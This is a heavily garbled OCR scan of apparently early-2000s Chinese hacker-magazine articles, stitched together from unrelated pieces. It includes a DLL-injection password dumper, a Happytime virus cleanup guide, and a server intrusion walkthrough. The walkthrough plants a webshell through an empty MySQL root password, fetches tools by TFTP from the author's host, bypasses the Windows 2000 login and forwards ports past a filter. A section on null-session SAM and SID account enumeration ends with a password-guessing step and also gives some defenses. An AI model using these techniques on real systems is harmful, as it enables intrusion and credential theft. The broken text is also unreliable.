二 有 和 全 让 去 代码 2.txt 全:

去 。 程序 代码 如 下 1

SI Loadimg . |

小 4, 、 代码 位 图 : 四

光 间 wiangguan 成 功 入 优 NT 后 获取

3 生生 用 记 福 洁 人 到 3.txt

上 面 这 段 代 码 只 能 往 自己 的 进程 里 面 插 入 DLL,

而 没有 权限 往 其 他 用 户 或 者 系统 进程 里 面 插入

DLL。 这 就 需要 提升 权限 了 ,一 般 来 说 只 要 给 当前 进

” 程 赋予 SR_DEBUCG_NAME 特权 就 有 权限 插 人 了 。 提

升 权限 的 代码 如 下 :

和 Loadfimg . 本

从 ,、 代 码 位 轩 : SN

LNEsivaouuviahNNTESR OA |

二 及 用 户 林 码 方法 代 三 4.txt 鲁 2

CA

好 了 ! 程序 和 DLL 都 准备 好 了 。 不 过 有 点 要 注

, 通 过 终端 服务 用 admin 登录 ,然后 直接 运行 这 个

还 是 不 行 的 , CreateRemoteThread 会 出 错 , 返回 的

就 运行 passdump 程序 。 不 过 这 样 不 好 ,加 载 这 个 DLL

改 为 调用 CreateProcess 函数 来 创建 一 个 进程 , 这 样 我

咖 ! DLL 已 经 准备 好 了 , 接 下 来 要 做 的 就 是 让

eyas 的 进程 加 载 我 们 这 个 DLL 到 他 的 进程 空间 里 面

错误 代码 是 8, 我 大 概 知道 是 什么 意思 , 但 我 无 法 解

释 。 我 们 可 以 这 样 ,局 动 服务 器 的 Telnet 服务 ,然后 用

admin 账号 Telnet 上 去 , 运行 我 们 的 程序 ,OKI! 去 %

SystemRoot9% \pass. txt 看 eyas 的 明文 密码 吧 。

至 于 如 何 钊 载 掉 插 人 的 DLL 我 就 不 多 说 了 , 在

< windows 核心 编程 > 上 有 很 详细 的 说 明和 完整 的 代

码 。 编 译 好 的 DLL 和 编译 好 的 程序 都 没有 ,也 没有 完

整 的 代码 , 关键 部 分 的 代码 都 已 经 贴 出 来 了 , 有 兴趣

的 兄弟 自己 去 玩 吧 。

由 于 水 平 有 限 , 如 有 错误 和 不 足 之 处 、 如 你 有 什

么 更 好 的 可 以 获取 其 他 用 户 的 密码 , 请 不 音 指 教

[EM: ey4s@ 21cn. com HomePage: www. ey4s. org] , 谢

谢 。 最 后 要 谢谢 shotgun < shotgunG@xici. net> 一 直 以

来 对 我 的 无 私 帮助 ,感谢 他 , 感谢 所 有 帮助 、 激 励 我 的

汉 六 魔 亦 神

在 一 个 偶然 的 机 会 , 碰 到 了 被 Happytime 感染 的

服务 器 , 见 到 了 Happytime 的 威力 ,能力 的 确 很 强 。 下

面 我 给 大 家 介绍 一 下 中 招 后 怎样 来 清除 。

第 一 步 ,删除 不 断 执 行 的 主要 病毒 脚本 ,c: \Doc-

uments and Settings \help. vbs ,以 及 help. hta( 程 序 不 断

地 打开 这 个 help. vbs 文件 ) 。 清 除 后 ,我 们 就 可 以 慢

慢 来 了 , 首先 重新 启动 机 器 , 清除 掉 被 占用 的 内 存 。

重新 启动 之 后 速度 恢复 正常 , 操 作息 来 也 就 快 多

了 。

第 二 步 , 换 掉 桌 面 。 桌 面 已 经 被 改 了 , 先 换 挤

吧 。

第 三 步 , 删除 HEKEY_ CURRENT USERA\ Software

天 和 大 5

第 四 步 ,搜索 help. *x ,文件 内 部 如 果 存 在 “Rem I

am sorry! Happy time 字符 串 , 则 删除 该 文件 。

第 五 步 , 现在 已 经 差不多 了 , 最 后 去 金山 毒霸 网

站 下 载 专 门 清除 Happytime 的 工具 。

PS: 如 果 你 是 因为 收 邮 件 而 中 毒 的 话 , 删除 收 件

箱 中 所 有 带 有 Untitled. htm 附件 的 不 明 邮 件 。 全 澡

编者 按 : 十 分 完整 的 入 侵 服

务 器 流程 , 作 者 按照 自己 的 思

和 实际 操作 一 步 步 记述 下 来 , 尽

管 是 一 次 测试 性 入 侵 , 但 也 足以

看 出 作者 功力 深厚 。 全 文 文字 描

述 十 分 详细 , 适合 初 宕 门 径 的 朋

友 研 习 。

文 / ey4s

首先 我 要 跟 大 家 说 明 的 是 :人 侵 别 人 主机 是 非法

的 。 以 下 所 述 的 只 是 对 朋友 所 管辖 服务 器 的 合法 远程

渗透 , 这 是 我 第 一 篇 关于 入 侵 的 文章 , 也 是 最 后 一

篇 。

某 天 晚上 在 了 C 跟 朋 友 们 闲聊 的 时 候 , 一 个 老 朋

友 说 帮 他 看 看 他 的 服务 器 的 安全 性 , 然 后 给 出 URL

是 abc.target. nete 刚 好 那天 是 星期 五 ,已 经 下 班 了 ,也

比较 闲 , 那 就 看 看 他 们 的 服务 器 安全 做 得 如 何 吧 。

随后 用 nmap 扫描 了 一 下 abc.target. net, 发 现 开

的 端口 挺 多 的 , 看 来 没有 安装 防火 墙 或 做 TCP/IP 过

滤 。 从 IIS 版 本 判断 是 Windows 2000 的 服务 器 。JIIS 默

认 的 虚拟 目录 都 删除 掉 了 ,并 且 诸 如 idq 等 映射 都 删

除 掉 了 , 没什么 好 利用 的 。 一 看 3306 端口 也 开 着 ,是

mysql 默认 监听 的 端口 , 就 用 我 的 mysql 客户 端 尝 放

连接 了 一 下 ,mysql 内 置 账 号 root 的 密码 竟然 为 空 ,后

来 就 党 得 没有 多 大 意思 , 于 是 把 目标 转 到

www', target. net ,他 们 的 主 站 。

Ok! 先 用 nmap 扫描 一 下 ,扫描 结果 如 下 :

25/tcp open smtp

53/tcp open domain

80/tcp open http

110/tcp open pop -3

389/tcp open ldap

1002/tcp open unknown

3306/tcp open mysql

从 80 端口 返回 信息 的 显示 WEB Server 是 工

JS5.0, 那 么 操作 系统 自然 是 windows 2000 服务 器

了 。 从 开放 的 端口 来 看 , 它 要 么 是 安装 了 防火 墙 ,要 人 么

是 做 了 TCP7/ 卫 过滤, 硒 呵 , 比 abc. target. net 有 意思

多 了 。 从 25 和 110 端口 返回 的 数据 来 看 ,他 们 用 的 邮

件 服务 器 是 IMail 6. 04, 没什么 可 利用 的 。IHS 上 面 网

管 做 了 安全 配置 , 默认 的 虚拟 目录 和 ISAPI 映射 也 没

有 , 这 也 没什么 好 利用 的 。 只 剩 下 最 后 一 个 突破 口

一 一 3306 了 , 习 惯性 地 用 我 的 mysql 客户 端 连接 试

. 试

呵呵 , 不 好 意思 ,看 来 网 管 没 有 给 mysql 内 置 帐

号 root 设置 一 个 密码 , 是 默认 的 空 密码 , 那么 我 们 就

可 以 利用 这 个 漏洞 来 做 点 什么 了 。 如 果 是 MS - SQL

数据 库 的 话 就 好 办 啦 , 直 接 可 以 用 xp_emdshell 来 运

行 系统 命令 , 但 是 可 惜 的 是 mysql 没有 类 似 MS - SQL

那样 的 扩展 存储 过 程 。

现在 我 们 可 以 利用 这 个 漏洞 来 做 三 件 事 情 :

< 1> 搜索 mysql 数据 库 里 面 的 内 容 , 看 能 不 能

找 出 一 些 有 用 的 敏感 信息 , 我 找 了 一 会 儿 就 不 想 找

了 ,呵呵 。

<2> 以 启动 mysql 服务 账号 的 权限 [通常 都 是

LOCAL SYSTEM] 读 取 服 务 器 上 的 文件 , 当 然 前 提 是

知道 文件 的 物理 路 径 。

<3> 以 启动 mysql 服务 账号 的 权限 往 服务 器 上

写 文件 , 前 提 是 这 个 文件 要 不 存在 的 ,就 是 说 不 能 礁

盖 文 件 , 只 能 新 建 。

如 果 我 们 知道 TS 主 目录 的 物理 路 径 的 话 , 我 们

就 可 以 往 上 面 写 一 个 ASP 上 去 , 然 后 通过 ASP 来 执

行 系统 命令 。 人 怎么 得 到 HS 目录 的 物理 路 径 呢 ? 天 知

道 !

让 我 们 先 在 mysql 默认 数据 库 test 中 建 一 个 表

Hetrvvpr

到 寂

和 二

tmp, 这 个 表 只 有 一 个 字段 st 类 型 为 TEXT, 如 下 :

然后 赁 着 自己 做 系统 管理 员 的 直觉 , 开始 猜测 工

IS 主 目录 的 物理 路 径 ,,c: \inetpub \wwwroot, cC: Www,

c: \wwwroot, c: \inetpub \web, d: \web , d: \wwwroot , 都

不 对 ,55555。 大 概 猜 测 到 第 10 次 ,我 的 mysql 客户 端

回 显 信息 如 下 ;

哈 , 猜 中 了 ,HS 主 目录 的 物理 路 径 是 d:、

www, 因 为 上 面 的 文件 的 虚拟 路 径 是 http: /www-

target. net/gb/about/about. htm, 看 来 我 得 到 一

guests 组 权限 的 shell 了 , 也 许 是 IUSR_COMPUTER-

NAME , 也 许 是 IWAN_COMPUTERNAME , 那 要 看 他 的

IS 的 设置 了 ,默认 是 后 者 。

接 下 来 我 们 就 可 以 往 d: \ www\ gb \ about 里 面 写

一 个 ASP 文件 进去 , 然 后 通过 http: / /www,tar-

get. net/ 中 /about/cmd. asp 来 执行 系统 命令 了 。 然 后

在 网 上 找 来 一 个 现成 的 cmd. asp,( 懒 的 自己 去 写

了 )。Cmd.asp 如 下 :

AS ee 一 一 一 ~

Loadimg ..,

代码 位 置 :

光一 wxiapgguanm 和 介 受 Windotos 2000

小 服务 器 实录 | 《 测 .txt

由 于 往 mysql 数据 库 中 插入 数据 的 时 候 , 会 过 滤

特殊 字符 什么 的 ,例如 双 引 号 之 类 的 ,特别 麻烦 。 各 位

留意 没有 , 上 面 的 .ASP 语句 中 , 都 是 两 个 双 引 号 一 起

的 ,这样 才 能 写 进 去 ,原来 是 一 个 双 引 号 的 。 然 后 我 在

数据 库 中 再 建 一 个 表 :

然后 用 如 下 语句 , 一 名 一 句 把 上 面 的 ASP 写 进

去 :

为 什么 不 全 部 一 起 写 进 去 呢 ? 呵呵 ,换行 后 ,一 会

儿 导 出 的 文件 就 会 有 特殊 字符 了 ,asp Re 运

行 了 , 只 能 辛苦 点 一 行 一 行 写 了 。 事 后 发 现 可 以 爷 写

个 x.sql 文件 来 自动 执行 ,具体 见 bbs. nsfocus. com NT

版 里 coolweis 贴 的 一 篇 帖子 , 有 兴趣 的 自己 去 search

吧 。 接 着 我 们 把 asp 文件 从 数据 库 中 导出 到 服务 器

上 :

然后 把 我 们 刚才 建 的 表 都 删除 掉 , 筑 尸 天 迹 :

ok! 我 们 得 到 一 个 shell 了 ,虽然 权限 不 高 , 但 毕

竟 已 经 向 取得 admin 权限 迈 出 一 大 步 了 。 因 为 对 数据

库 不 熟悉 ,做 这 个 asp 文件 可 花 了 我 不 少时 间 夏 。 现

在 我 们 利用 这 个 shell 来 收集 系统 信息 , 尝试 取得 ad-

min 权限 。

< 1> 先 看 一 下 系统 文件 权限 设置 如 何 ;

看 来 我 们 现在 就 可 以 读 写 硬 盘 上 的 任何 文件 了 ,

现在 就 可 以 改 他 的 首页 了 ,但 这 样 做 没意思 , 对 不 对 ,

我 们 的 目标 是 取得 admin 权限 , 阿 呵 。

<2> 然后 搜索 一 下 硬盘 上 都 有 些 什么 文件 :

c:\ Program Files 的 目录 下 有 两 个 比较 有 意思 的

文件 ,

2000 -12- 19 13: 10 Serv -TU

2001 -01 - 20 22: 43 绿色 警戒

把 Serv -U 里 面 的 用 户 和 密码 读 出 来 看 看 后 , 没

有 什么 用 处 ,然后 进入 绿色 警戒 目录 看 看 ,呵呵 ,除了

log 外 ,什么 都 没有 ,呵呵 。

<3> 再 看 看 都 有 哪些 用 户 :

Guest IUSR .SERVER_1 IUSR_ SERVER -2 工

WAM_SERVER_ 1 IWAM_SERVER -2 tanyi TsJInterne-

tUser

管理 员 有 tanyi 和 target\ Domain Admins, 看 来 这

台 机 器 是 他 们 域 中 的 一 台 服 务 器 .开始 本 来 想 给 tanyi

下 一 个 套 , 在 他 的 启动 目录 里 放 一 个 程序 , 但 后 来 看

到 这 个 帐号 已 经 几 个 月 没 登 陆 了 ,就 放弃 了 。

<4> 看 看 启动 了 那些 服务 ,没什么 特殊 的 。

<5> 看 看 网 络 状况 ,这 几 个 比较 有 意思 :

TCP 0. 0. 0. 0: 21 0. 0. 0. 0: 0 LISTENINC

TCP 0. 0. 0. 0: 119 0. 0. 0. 0: 0 LISTENINC

TCP 192. 168. 1. 3: 3389 0. 0. 0. 0: 0 LISTENINC

看 来 有 启动 了 终端 服务 ,只 绑 在 内 网 网 卡 上 ,而

且 外 网 网 卡 上 做 了 TCPZTP 过 滤 ,那么 我 们 就 来

<6> 看 看 网 卡 设 置信 息 :

Ethernet adapter 本 地 连接 :

Connection - specific DNS Suffix . :

Description .

Realtek

RTL8139(A) PCI Fast

Ethernet Adapter

Physical Address

68 - C4 -了 B2

DHCP Enabled. . . . . . , . , . . :

了 了 Address. . . ., . . . . . .:

Subnet Mask .

255. 255. 235. 0

Default Cateway . . . ,. . . . . :

DNS Servers . . . . . . . . 人

Ethernet adapter 本 地 连接 2:

Connection - specific DNS Suffhix , :

Description .

RTL8139(A) PCI Fast

Ethermet Adapter#2

Physical Address. . . . . . . . . : 00 -了 EO-4C-

68 -B8 -FC

DHCP Enabled. . . . . . 人 : No

IP Address. ,. . . . . . . . . :2305

Subnet Mask . . . . . . ., . ...:

Realtek

Default Cateway . . . . . . . . .

经 过 上 面 的 一 些 步 又 , 对 这 人 台 服 务 器 的 设置 情况

就 有 了 一 个 大 概 的 了 解 。 如 何 取 得 admin 权限 ?9 net-

dde? pipeupadmin? 呵 呵 ,无 法 利用 , 没有 可 利用 的 可 以

登陆 的 用 户 。 下 套 ? 等 到 什么 时 候 , 呵 呵 。[ 这 次 人 侵

是 在 20017Z4, 那 时 候 好 多 漏洞 都 还 没有 公布 呢 ]

证 我 们 来 看 看 这 个 系统 都 打 了 些 什么 补丁 。 怎 么

查看 ? 呵呵 , 打 了 补丁 后 ,信息 都 会 存 喧 在 注册 表 中 ,

查询 注册 表 中 的 这 个 键 值 就 行 了 :

“HKLMANA Software\ Microsoft\ Windows NT\ Cur-

rentVersion\_ hotfixz”, 这 样 的 话 , 我 们 得 上 传 一 个

reg. exe[M$ Resource Kit 中 的 命令 行 注 册 表 操作 工

具 ] 到 服务 器 里 面 ,我 们 才能 操作 他 的 注册 表 。 开 始 我

想 用 先 写 一 个 即 脚本 ,然后 各 -s: cmd. txt 让 他 到

我 的 服务 器 来 下 载 , 但 结果 失败 了 , 后 来 才 想起 他 做

了 TCP/ 卫 过滤, 被 动 模式 传 不 过 去 , 主 动 模式 也 许

可 以 。 烦 不 了 了 ,用 基于 UDP 协议 的 记 p 来 传输 文件

吧 。 我 先 在 我 的 服务 器 上 安装 了 一 个 Cisce TFTP

Server, 然 后 在 目标 机 器 上 运行 ttip - 工 www.ey4s. org

GET reg. exe, 阿 呵 ,传输 过 去 咯 。 然 后 运行 :

REGC QUERY ”HKLM \Software \Microsoft\Windows

黑客 助 线 精华

NTA\CurrentVersion \hotfix?”

返回 数据 如 下 :

Listing of [Software\ Microsoft\ Windows NT\ Cur-

rentVersion \hotfix]

[Q147222] = => 这 个 不 知道 是 什么 东西 , 好 象

默认 2k 机 器 上 都 有

[Q269862] = => Microsoft IIS Unicode 解码 目录

遍历 漏洞 !

[0277873] = = > Microsoft IIS CGI 文件 名 检查

漏洞

= => 和 后 面 的 说 明 是 我 加 上 去 的 , 不 是 注册 表

中 的 。 看 来 管理 员 不 太 勤快 啊 , 只 安装 了 SPL 和 SP2

的 两 个 HotFixs 。

到 了 这 一 步 , 大 家 想到 怎么 取得 admin 权限 了

吗 ? 你 一 定 也 想到 了 , 他 的 机 器 开 了 TermService 服

务 , 但 windows 2000 登陆 验证 可 被 绕 过 的 漏洞 没有 安

装 补丁 ,, 此 补丁 为 Q270676 双 2K_ SP2 x86 CN. EXE。

由 此 看 来 ,管理 员 只 是 删除 了 帮助 法 文件 ,而 没有 打

补丁 。 用 dir ec: \winnt \help \winx 验证 一 下 ,果然 没有

熟悉 的 输入 法 帮助 文件 。 敌 人 没有 输入 法 ,我 们 帮 他

造 ,hoho ~ ~ 别 忘 了 我 们 可 以 往 任何 地 方 写 文件 哦 。

喀 喀 ,咱们 也 别 高 兴 得 太 早 了 , 别 忘 了 他 的 机 器

做 了 TCP/ 卫 过 滤 哦 , 我 们 是 没有 办 法 连接 到 他 的

3389 端口 的 。 不 要 着 急 , 不 要 着 急 , 让 我 们 先 来 看 看

他 的 TCP/ 卫 过滤 的 设置 情况 。 怎 么 看 呢 ? 老 办 法 , 查

看 注册 表 里 面 的 键 值 啦 。 用 刚才 的 reg. exe 查询

< 1> 先 运行 这 个

篇 幅 关 系 , 我 过 滤 了 一 -此

外 网 网 卡 , 我 们 可 以 得 知 只 开放 了 TCP 25,53 ,80,

110, 3306, UDP 全 部 , 卫 协 议 全 部 。 第 三 次 查询 的 是

内 网 网 卡 ,没有 任何 限制 。

现在 我 们 可 以 把 输入 法 帮助 文件 上 传 到 他 的 c:、

winnt help 目录 下 去 ,然后 如 果 能 连接 到 他 的 3389 端

口 的 话 , 我 们 就 可 以 得 到 admin 权限 了 。 问题 的 关键

渝 出 。 第 二 次 查询 的 是

是 外 网 网 卡 做 了 TCP/ 卫 限制 。55555 , 怎么 办 呢 ? 如

何 突破 ? 有 办 法 ! 我 们 可 以 利用 socket 转发 和 反弹 端

口技 术 ,照样 可 以 连接 到 敌人 的 TermServicel

具体 过 程 如 下 :

< 1> 在 我 的 服务 器 www. eyas. org 上 运行 一 个 程

序 , 监听 3389 端口 [等 待 我 的 TermClient 去 连接 ] , 监

上 听 11111 端口 [等 待 www. target. net 来 连接 ] ,当然 了 ,

第 2 个 端口 可 以 随便 选 , 第 1 个 端口 选 其 他 的 话 , 就

要 相应 的 修改 TermClient , 比较 麻烦 。( 下 转 第 117 页 )

Sr

有 indows NT\ 2000\XP 默认 安装 后 , 都 允许 匿名

用 户 建立 下 C 空 连 接 (IPC NULL Session) ,并 且 人 允许 匿

名 用 户 在 此 空 连接 的 基础 上 枚 举 SAM 数据 库 中 的 用

户 名 。( 注 :以 下 所 说 的 “NT 系统 ”, 如 果 没 有 特别 说 明

的 话 , 指 的 都 是 上 述 的 几 种 系统 。) 其 实 利 用 此 空 连接

能 做 的 不 仅仅 是 枚 举 用 户 名 , 还 可 以 枚 举 共 享 , 收集

系统 信息 等 等 。 默 认 安 装 的 系统 , 都 存在 很 多 安全 隐

患 ,而 上 述 的 漏洞 (也 许 这 不 能 称 为 漏洞 ,只 能 算是 个

一 安全 隐患 吧 ) 就 可 以 让 攻击 者 轻松 地 收集 到 足够 多 的

信息 , 其 中 最 危险 的 英 过 于 被 攻击 者 拿 到 用 户 列 表 。

拿 到 用 户 列表 , 要 攻 人 此 系统 , 剩 下 的 只 是 时 间 和 运 第 一 个 参数 指向 NETRESOURCE 结构 , 该 结构 指

气 了 , 当然 ,如果 管 理 员 足 够 勤快 并 且 用 户 对 复杂 的 定 了 要 连接 的 具体 情况 , 有 关 网 络 资源 、 本 地 设备 和

密码 策略 不 感到 厌烦 的 话 , 拿 到 用 户 列表 也 没有 多 大 网 络 资源 供应 商 的 信息 。 调 用 这 个 API 之 前 必须 对 此

意义 。 事 实 上 ,很 多 NT 系统 并 没有 启用 密码 策略 , 而 结构 的 成 员 进行 初始 化 。 第 二 个 参数 是 用 户 密码 。 第

且 很 多 用 户 为 了 方便 , 把 密码 设置 为 空 或 与 用 户 名 相 三 个 参数 是 用 户 名 。 第 四 个 参数 是 一 套 位 标志 , 这 些

同等 等 , 这 确实 是 方便 了 自己 ,但 同时 也 方便 了 别人 , 标志 指定 了 连接 选项 , 关于 此 标志 的 更 多 信息 请 查阅

不 是 吗 ? MSDN。 注意 :如 果 lpPassword 为 NULL ,那么 函数 使 用

与 pUsername 指定 的 用 户 有 关 的 当前 的 缺 省 口令 。 如

有 果 IlpPassword 指 回 一 个 空 字 符 串 ,那么 函数 不 使 用 口

攻 方 : 如 何故 举 SAM 数 令 。 以 下 是 我 封装 的 一 个 简单 的 建立 PC 连接 的 函

据 库 中 的 用 户 名 数 ,

OK1! 我 们 现在 先 具 体 看 看 如 何在 建立 IPC NULL

Session 后 枚 举 SAM 数据 库 中 的 用 户 名 。 首 先 我 们 来

看 看 如 何 与 目标 服务 器 建立 空 连接 。 在 命令 行 下 可 以

这 样 :

自己 写 程序 的 话 ,调用 一 个 API 叉 NetAddConnec-

tion2 就 可 以 实现 了 。 函 数 原 型 如 下 :

建立 了 IPC 连接 后 , 有 几 个 API 都 可 以 直接 用 来

枚 举 系 统 账号 ,我 们 一 个 个 来 看 吧 。

第 一 个 可 利用 的 API 是 NetQueryDisplayInforma-

tion, 这 个 API 能 返回 用 户 、 计 算 机 、 或 者 全 组 的 账号

信息 。 函 数 原型 如 下 :

第 一 个 参数 ServerName 指向 以 NULL 结尾 的 `U-

nicode 字符 串 , 该 字符 串 包含 该 函数 执行 时 所 在 的 远

程 服 务 器 。 如 果 指 针 为 NULL 或 者 为 空 字符 串 , 那么

它 指定 的 是 本 地 计算 机 。 第 二 个 参数 Level 指定 提供

信息 的 级 别 , 有 三 种 级 别 可 选用 , 有 具体 请 查阅 MS-

DN。 第 三 个 参数 Pdex 指定 为 所 检索 信息 第 一 项 的 索

引 。 第 四 个 参数 EntriesRequested 指定 所 获 信息 的 最

大 的 项 数 。 第 五 个 参数 PreferredMaximumLength 指定

由 参数 SortedBuffer 所 返回 缓冲 区 的 首选 最 大 矿 才 ,

以 8 字 节 为 单位 , 该 缓冲 区 由 系统 分 配 。 第 六 个 参数

ReturedEntryCount 指向 32 位 指针 变量 , 该 变量 指定

了 由 参数 SortedBuffer 所 返回 缓冲 区 的 项 数 。 第 七 个

参数 SortedBuffer 指向 变量 的 指针 , 该 变量 为 一 个 指

疝 缓冲 区 的 指针 , 该 缓冲 区 是 由 系统 所 分 配 的 , 包含

所 需 信息 的 有 序列 表 。 以 下 是 调用 此 函数 的 代码 片

OK! 我 们 来 看 第 二 个 可 以 利用 的 API Net-

CroupGetUsers。 此 函数 原型 如 下 :

第 二 个 参数 groupname 指向 unicode 字符 串 的 指

针 , 该 字符 串 包 含 了 所 检索 信息 的 全 局 组 名 。 第 三 个

参数 level 指向 参数 bufptr 所 指 信息 的 信息 级 别 , 只 有

一 种 级 别 0 可 用 , 具 体 请 查阅 MSDN。 第 四 个 参数

bufptr 指向 返回 信息 结构 的 指针 , 应 该 调用 Ne-

tApiBufferFree 释放 。 第 五 个 参数 prefmaxlen 是 所 返回

数据 的 首选 最 大 程度 , 以 8 位 字 节 为 单位 。 第 六 个 参

数 entriesread 指向 DWORD 指针 , 它 包含 了 实际 的 枚

举 项 数 。 第 七 个 参数 totalentries 也 是 指向 DWORD 的

指针 , 它 包 含 了 从 当前 可 恢复 位 置 开 始 的 可 枚 举 的 项

数 。 第 八 个 参数 ResumeHandle 还 是 指向 DWORD 的

指针 ,, 它 包含 了 一 个 恢复 句柄 , 该 句柄 用 于 继续 进行

已 存在 的 user 组 查询 。 以 下 是 调用 此 函数 的 代码 片

段 : ,

组 名 为 None 指 的 枚 举 所 有 用 户 。

嘿 ! 现在 已 经 有 两 个 API 可 以 用 来 枚 举 系统 账号

了 ,我 们 再 来 看 另外 一 个 API NetUserEnum。 此 函数 的

原型 如 下 :

第 二 个 参数 level 有 9 种 可 用 级 别 , 在 级 别 0 和

10 上 不 需要 特定 的 组 身份 ,具体 请 查阅 MSDN。 第 三

个 参数 filter 指定 要 枚 举 账号 类 型 的 筛选 程序 , 若 值

为 0, 表 示 枚 举 所 有 账号 类 型 , 允 许 的 值 请 参阅 MS-

DN。 以 下 是 调用 此 函数 的 代码 片段

好 了 ,, 到 现在 为 止 , 我 们 知道 至 少 有 三 个 API 可

以 利用 来 枚 举 NT 系统 账号 了 。 这 三 个 API 在 MSDN

中 都 有 例子 , 以 上 代码 片段 几乎 都 是 从 MSDN 上 面 的

的 例子 中 抽取 而 来 。 现 在 网 上 也 有 很 多 基于 此 原理 写

成 的 枚 举 系 统 账 号 的 程序 , 象 xfocus. org 的 x- scin,

bingle 的 enum+ 等, 当然 最 著名 的 也 许 就 是 letmein

了 。

守 方 : 防范 方法 面面观

既然 允许 匿名 用 户 建立 下 C NULL Session 来 枚 举

SAM 数据 库 中 的 账号 这 么 危险 ,那么 如 何 来 防范 呢 ?

其 实 很 简单 , 很 多 人 都 知道 的 , 简单 地 修改 一 下 注册

表 就 可 以 了 。 把 注册 表 HKEY LOCAL MACHINEY、

SYSTEMA\ CurrentControlSet \ Control \ Lsa \restrictanony-

mous 的 值 设 置 为 1 就 行 了 [默认 值 是 0] 。 或 者 在 本 地

安全 设置 中 设置 也 可 以 , 有 具体 路 径 是 Local Security

Settings[ 本 地 安全 策略 ] - > Local Pojlicies[ 本 地 策略 ]

-> Security Options[ 安全 选项 ], 把 Additional re-

stricitions for anonymous connections[ 对 匿名 连接 的 牢

外 限制 1 选项 的 值 从 None. Rely on default permissions

[无 。 依 赖 于 默认 许可 权限 ] 设置 为 Do not allow enu-

meration of SAM accounts and shares[ 不 允许 枚 举 SAM

账号 和 共享 ] 就 可 以 了 。 这 两 者 效果 是 一 样 的 ,本 地 安

全 设置 只 是 一 个 修改 注册 表 的 友好 界面 而 已 。

上 述 防 范 方 法 也 是 众多 人 士 推荐 并 且 接受 的 一

种 方法 , 事实 上 , 此 方法 确实 是 可 以 防范 注 大 多 数 攻

击 , 让 匿名 用 户 再 也 不 能 枚 举 SAM 中 的 账号 , 让 let-

mein、enum + 、xscan 等 失效 。 说 到 这 里 , 我 要 说 明 一

点 : 很 多 人 对 “禁止 匿名 用 户 建立 正 C 空 连接 ”和 “ 禁

止 匿 名 用 户 利用 建立 的 FPC 空 连接 来 枚 举 SAM 账

号 "这 两 个 概念 分 不 清楚 ,混为一谈 ,事实 上 这 两 者 是

有 很 大 的 区 别 的 。 注 意 :上述 防 范 方 法 只 是 禁止 匿名

用 户 利 用 建立 的 I 了 PC NULL Session 来 枚 举 账 号 和 取

得 其 他 系统 信息 , 而 并 没有 禁止 芽 名 用 户 跟 你 建立

IPC NULL Session , 但 是 , 很 多 人 就 此 认为 服务 器 已 经

禁止 匿名 用 户 建立 IPC 空 连接 了 。

OK! 经 过 上 述 安全 配置 , 我 们 还 是 能 跟 目 标 建

立 了 PC NULL Session, 虽 然 已 经 不 能 枚 举 我 们 感 兴趣

的 系统 账号 和 其 他 系统 信息 。 但 是 , 我 们 仍然 可 以

利用 此 IPC NULL Session 来 做 点 什么 , 不 是 吗 ?在 前

段 时 间 对 国家 某 部 门 的 授权 人 侵 检 测 过 程 中 , 他 们

的 主 域 控 制 器 [NT4. 0] 就 是 做 了 上 述 安全 配置 , 虽

然 能 跟 它 建立 PC NULL S$ession , 但 没有 权限 枚 举

SAM 中 的 账号 , 但 是 , 我 用 自己 写 的 一 个 小 程序 仍

然 取得 了 他 们 的 用 户 列 表 , 有 300 多 位 用 户 哦 。 然

后 再 写 一 个 小 程序 来 猜测 简单 密码 , 最 后 得 到 了 20

几 位 用 户 的 Password, 显 然 系 统管 理 员 没有 启用 密

码 策略 。 嗯 , 好 像 NT4. 0 中 的 安全 设置 里 默认 是 没

有 局 动 密码 策略 的 选项 的 , 是 不 是 ? NT4 我 不 熟

悉 , 不 好 意思 了 ~。

Ok! 让 我 们 来 看 看 在 能 建立 下 C NULL Session 但

没 权限 枚 举 账号 的 情况 下 如 何 取得 用 户 列表 。

这 段 开 始 之 前 最 好 了 解 SD 是 什么 。SIDD 是 标识

用 户 、 组 和 计算 机 帐户 的 惟一 的 号 码 。 在 第 一 次 创建

该 帐户 时 , 将 给 网 络 上 的 每 一 个 帐户 发 布 一 个 惟一 的

SID。Windows 2000 中 的 内 部 进程 将 引用 帐户 的 SIDD

而 不 是 帐户 的 用 户 或 组 名 。 如 果 创 建 帐 户 , 再 删除 帐

户 , 然后 使 用 相同 的 用 户 名 创建 另 一 个 帐户 , 则 新 帐

户 将 不 具有 授权 给 前 一 个 帐户 的 权力 或 权限 , 原因 是

该 帐户 具有 不 同 的 SID 号 。 安 全 标识 符 也 被 称 为 安全

ID 或 SID。

看 见 没有 , 后 面 那 中 字符 串 就 是 SID 了 。 同 一 台

机 器 上 不 同 的 账号 SIDD 区 别 就 是 最 后 面 那 段 不 同 。 我

机 器 上 的 账号 guest 和 eyas 的 SID 分 别 是

在 与 服务 器 建立 PC NULL Session 后 , 可 以 通过

LookupAccountName 这 个 API 来 取得 已 知 用 户 名 的

SID , 如 guest 账号 的 SID[guest 账号 是 系统 内 置 账号 ,

不 能 删除 的 ,当然 了 , 可 以 改名 , 但 很 少 管理 员 会 把

guest 账号 改名 的 ]。 可 以 通过 用 户 名 取得 SIUD ,那么 当

然 也 就 可 以 通过 SID 来 获取 用 户 名 了 , 这 个 API 是

LookupAccountSid。 在 我 们 取得 guest 账号 [或 者 其 他

已 知 账号 , 如 IUSR_ComputerName] 的 SID 后 , 我 们 就

可 以 组 合 SID 来 穷 举 系统 账号 。 因 为 系统 账号 的 SID

都 是 有 规律 的 。 不 信 ? OK! 我 们 来 看 看 。

怎么 样 ? 相 信 了 吧 : ) 现 在 我 们 就 来 看 看 如 何 编程

实现 组 合 SIDD 穷 举 系统 账号 。

先 取得 已 知 账 号 的 SIDD ,如 guest:

OK! 如 果 顺 利 的 话 , 我 们 已 经 取得 了 gest 账号

的 SID 。 我 们 知道 ,系统 内 置 的 管理 员 账 号 的 SID 最 后

面 那 段 是 为 500 的 , 所 以 我 们 先 组 合 出 系统 内 置 管 理

员 账 号 的 SID , 先 来 看 看 这 个 账号 的 用 户 名 是 什么

[如 果 没 有 更 改 的 话 ,默认 是 administrator] :

OK1! 只 要 能 跟 目 标 服务 器 建立 IPC NULL Ses-

sion , 虽然 不 能 枚 举 账号 ,但 我 们 仍然 可 以 利用 上 述 程

序 穷 举 取得 系统 账号 。 以 上 程序 代码 是 从 网 上 找 来 经

过 我 少许 修改 的 , 在 网 上 我 看 到 过 不 少 版 本 , 有 Del-

phi 版 , C 语言 版 等 。 好 了 , 取得 目标 服务 器 账号 列表

的 几 种 方法 都 说 完了 , 下 面 我 们 来 简单 地 说 说 怎么 来

猜测 取得 的 账号 的 密码 吧 。

